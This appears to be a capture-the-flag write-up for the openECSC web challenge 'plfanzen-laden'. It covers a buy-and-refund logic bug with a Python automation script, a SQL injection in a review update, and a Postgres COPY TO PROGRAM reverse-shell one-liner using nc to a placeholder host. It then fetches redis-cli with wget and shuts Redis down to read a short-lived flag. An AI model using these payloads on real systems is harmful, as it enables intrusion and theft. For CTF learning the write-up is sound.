---
# System prepended metadata

title: plfanzen-laden

---

# plfanzen-laden

## Source code 
The source is really huge so I just summarize that here : 
1. Api server
2. Postgres server
3. Redis server
4. Front end server


## Analyze 
First of all because the big source, so i decided to find the **flag** first. 


```js 
main.js
// 🏃🏃🏃
console.log("SETTING FLAG  !!!!")
await client.set("FLAG_" + uid(20), Deno.env.get("FLAG") ?? "openECSC{123}", {
  EX: 15,
});
```
Okay , so the flag is set into the redis server and just 15 seconds ??? How the f\*ck we can get it :v .
So then I starting to scan some point using the client redis but it seems nothing interesting ? So how can we win this anymore ....
## Find more what we can do 
- So lets read the API it provides . 
Its a simple market server when we can put stuff into cart , buy stuff, refund and review.
We can quickly see that to create a review , we need a **Premium role** , and to achieve that we must have up to 1e50 dollars !!
```js 
const premiumFee = 100000000000000000000000000000000000000000000000000n;
router.post("/elevate", async (ctx) => {
  const user = ctx.state.user;
  if (!(user.balance > premiumFee)) {
    badRequest(ctx.response, { error: "poor" });
    return;
  }
  const U = users(ctx.state.client);
  await U.decreaseBalance(user.id, Number(premiumFee));
  await ctx.state.client
    .queryObject`UPDATE users SET premium = true WHERE id = ${user.id}`;
  ctx.response.body = { ok: true, message: "Profile elevated 💸💸💸" };
});
```
But do we realy using this role  ? Yes !! After digging in the Review.update there's a **SQLI injection** !!
```js 
const update = async (
    userId: number,
    productId: number,
    description: string,
    stars: number,
  ) => {
    const res = await client.queryObject<ReviewDB>(`
      UPDATE reviews 
      SET description = ${description}, stars = ${stars}
      WHERE user_id = ${userId} AND product_id = ${productId}
      RETURNING *;
    `);
    if (!res.rows[0]) return undefined;
    return mapDbToReview(res.rows[0]);
  };
```
*Its really hidden when first time read through and i must use gpt to scan that :v*
The right code must be \`\` not (\`\`)  :)) 

So try to find some logic bugs in the app to achieve the money !!!

After that I see there's a revenge challenge, so I just check the source and find the bug is at : 
```js 
  async buyProduct(
    user: UserPublic,
    productId: number,
    quantity: number | string,
  ) {
    const U = users(this.client);
    const P = products(this.client);

    quantity = parseInt(quantity as string); // 😇😇😇

    const product = await P.findById(productId);
    if (!product) {
      return;
    }
    if (product.quantity < quantity) {
      return;
    }
    await U.decreaseBalance(user.id, product.price * quantity);
    await P.decreaseQuantity(product.id, quantity);

    const uP = userProducts(this.client);
    // SHOULD BE 
    // await uP.add(user.id, product.id, quantity);
    await uP.add(user.id, product.id, product.quantity);
  }
```
- So its really easy for us to get super many money by just repeating "buy and refund" using the market server :v 
Here's the script for that : 
```python 
import requests
import threading


url = 'http://localhost:3000'
creds = {
    "username" : "hibby",
    "email" : "hix@gmail.com",
    "password" : "hibby",
}

s= requests.Session()
# AUTH
def  register() : 
    res = s.post(url+'/auth/signup',json=creds)
def  login() : 
    res = s.post(url+'/auth/login',json=creds)
    print(res.text)

# Cart
def getCart() : 
    res = s.get(url+'/cart')
    return res.text
def clearCart() : 
    res = s.post(url+'/cart/clear')
    return res.text
def checkOut() : 
    res = s.post(url+'/cart/checkout')
    return res.text
def buy(id) : 
    data=  {
        "quantity":10
    }
    res = s.post(url+'/cart/'+str(id),json=data)
    return res.text

# Products
def getProducts () : 
    res = s.get(url+'/products')
    return res.text

def getMine () : 
    res = s.get(url+'/products/mine')
    return res.text

def getProdById(id) :
    res = s.get(url+'/products/'+str(id))
    return res.text

def buyUseMkService(id,quantity) : 
    data = {
        "quantity" : quantity
    }
    res = s.post(url+f'/products/{id}/buy',json=data)
    return res.text

def buyAllUseMkService(id) : 
    res = s.post(url+f'/products/{id}/buy-all')
    return res.text

def getRefundAllById(id) :  
    res = s.post(url+f'/products/{id}/refund-all')
    return res.text

def getRefundById(id,quantity) :  
    data   = {"quantity" : quantity} 
    res = s.post(url+f'/products/{id}/refund',json=data)
    return res.text
# User
def getMe() : 
    res= s.get(url+'/users/me')
    return res.text

def getRole() : 
    res= s.post(url+'/users/elevate')
    return res.text
def getBlance():
    res = s.get(url+'/users/me')
    print(res.json())
    return int(res.json().get("balance"))
# Reviews
def getReviewsId(uid) : 
    res  = s.get(url+'/reviews/product/'+str(uid))
    return res.text

def getMineReviews() :
    res  = s.get(url+'/reviews/mine')
    return res.text

# Main
register()
login()
print(getMine())
balance = getBlance()
premiumFee = 100000000000000000000000000000000000000000000000000
print(buyUseMkService(1,int(1)))

def getPremium():
    print(getProdById(1))
    while 1:
        res = buyUseMkService(1,int(1))
        print(res)
        print(getRefundAllById(1))
        getBlance()
```
After a while we will achieve 1e50 now !!

# Sqli to rce 
After we can have sqli here ,I dont see anything useful to leak so  I decide to get reverse shell from the postgres server now ... 
```sql 
COPY (SELECT '') to PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc HOST PORT >/tmp/f';
```

## Interact with redis server
After having a reverse shell , I can easily interact with redis server because it's same network here !!! 

Now my method to connect to redis is 
```bash 
wget https://github.com/phlummox-dev/redis-static-binaries/releases/download/6.2.5.0/redis-cli
chmod u+x redis.cli
./redis-cli -h valkey -p 6379
```
![image](https://hackmd.io/_uploads/HJPoVxWTle.png)
- Finally we can read the redis !!!

# How to get the flag ? 
- Its seem impossible for us to read the flag in just 15s.
After digging a little bit I finally find the gadget 
```python3
# 😇😇😇
HEALTHCHECK --interval=10s --start-period=10s --retries=3 \
    CMD curl --max-time 15 -f http://localhost:3000 || pkill -9 deno
```

There's a hint here from author and i dont pay attention to that at first :v . So this health check will kill our app if it cannot curl the http://localhost:3000 in 15s . But luckily is the app having the **auto restart** defined in docker 
```js
api:
    restart: always
    build: ./api
```
So how can we trigger the curl error ? 
```js 
router.get("/", async (ctx) => {
  ctx.response.body = (await client.get("greeting")) ?? "hello there :)";
});
```
- It just simple read the text from redis and return . How can this get be slow up to 15s ? My first idea is to finding some point in the app can slow down but this code put first before anything at all ... so it seems impossible.
### But wait , we control the redis ? 
So we just need to simple shut down the redis !!! and that redis will be turned on back by the api server !!!! 
LOAD FLAG and we can read the flag now !
- So from the postgres reverse shell just do this : 

```js
    ./redis-cli -h valkey -p 6379 shutdown
    ./redis-cli -h valkey -p 6379
    Keys *
    GET FLAGGGGG
```
![image](https://hackmd.io/_uploads/rJoyFlZplx.png)

Yeah its unintended and the revenge is too hard for me . Sorry for the race :( ...

